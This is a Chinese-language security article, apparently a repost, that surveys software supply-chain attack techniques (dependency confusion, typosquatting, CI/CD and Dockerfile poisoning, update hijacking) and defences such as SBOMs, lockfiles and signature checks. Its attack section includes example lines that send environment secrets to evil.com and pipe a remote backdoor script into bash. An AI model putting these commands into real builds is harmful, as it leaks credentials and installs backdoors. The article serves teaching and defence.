文章总结: 文档分析软件供应链攻击手法,包括依赖混淆、仓库投毒、CI/CD管道攻击和更新劫持等攻击面,并给出SBOM物料清单、依赖锁定、签名验证、私有仓库等防御措施,强调供应链安全的重要性。 综合评分: 87 文章分类: 供应链安全,漏洞分析,解决方案,安全建设,威胁情报
[前沿技术] 软件供应链攻击手法
原创
pik pik
Pik安全实验室
2026年5月20日 14:10 广东
在小说阅读器读本章
去阅读
0x00 介绍
供应链攻击是近年增长最快的攻击向量之一。攻击者不直接攻击目标,而是感染其依赖的软件组件——开源库、CI/CD 管道、更新服务器、Docker 镜像等。SolarWinds(2020)和 Log4j(2021)是供应链安全的分水岭事件,前者攻击了美国政府机构,后者影响了全球数十亿设备。
0x01 攻击面
依赖混淆(Dependency Confusion)
利用私有包与公共包命名冲突,在公共仓库注册同名包,高版本号的恶意包会被优先拉取。
攻击者发现目标公司内部包名: company-utils
在 npm/PyPI 注册同名包,版本设为 99.99.99
构建系统优先拉取高版本公共包 → 代码执行
npm 依赖混淆
npm install # 如果有 company-utils 的内部包
而攻击者在 npm 注册了 [email protected] → 中招
PyPI 同样
pip install company-utils==* # 通配符解析到最高版本
仓库投毒(Repo Poisoning)
在流行开源项目中提交恶意 PR,或直接篡改仓库文件。即使被拒绝,恶意代码可能已在依赖解析中被缓存。
Typosquatting(拼写混淆)
npm install express # 正版 npm install experss # 攻击者的山寨包 npm install bcrypt # 正版 npm install bcrytp # 山寨
星标劫持(Starjacking)
fork 流行项目 → 添加恶意代码 → 重新发布到 npm
CI/CD 管道攻击
攻击者获取 CI/CD 系统的访问权限后,可修改构建流程、注入恶意步骤。
GitHub Actions 注入
.github/workflows/build.yml 被篡改
- name: Build run: | npm install curl http://evil.com/$(env) # 泄露 secrets npm run build
Dockerfile 投毒
FROM ubuntu:latest RUN curl -s http://evil.com/backdoor.sh | bash
更新劫持(Update Hijacking)
软件自动更新是经典的供应链攻击目标。攻击者控制更新服务器,或在传输层中间人更新包。
0x02 检测与防御
SBOM 软件物料清单
使用 SPDX/CycloneDX 格式生成依赖清单,自动化审计每个组件的来源和版本。
依赖锁定 + 签名验证
npm
npm ci # 根据 package-lock.json 精确安装
pip
pip install –require-hashes -r requirements.txt
Docker — 使用 digest 而非 tag
FROM ubuntu@sha256:abc123…
签名验证
npm audit signatures cosign verify image:tag
私有仓库 + 代理缓存
使用 Artifactory/Nexus 搭建私有仓库,代理公共包并扫描恶意代码。配置 scope 规则防止依赖混淆。
本文仅作安全研究与学习用途,用于非法行为后果自行承担。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Pik安全实验室 pik pik《[前沿技术] 软件供应链攻击手法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[前沿技术]软件供应链攻击手法](/images/random/titlepic/7.jpg)






评论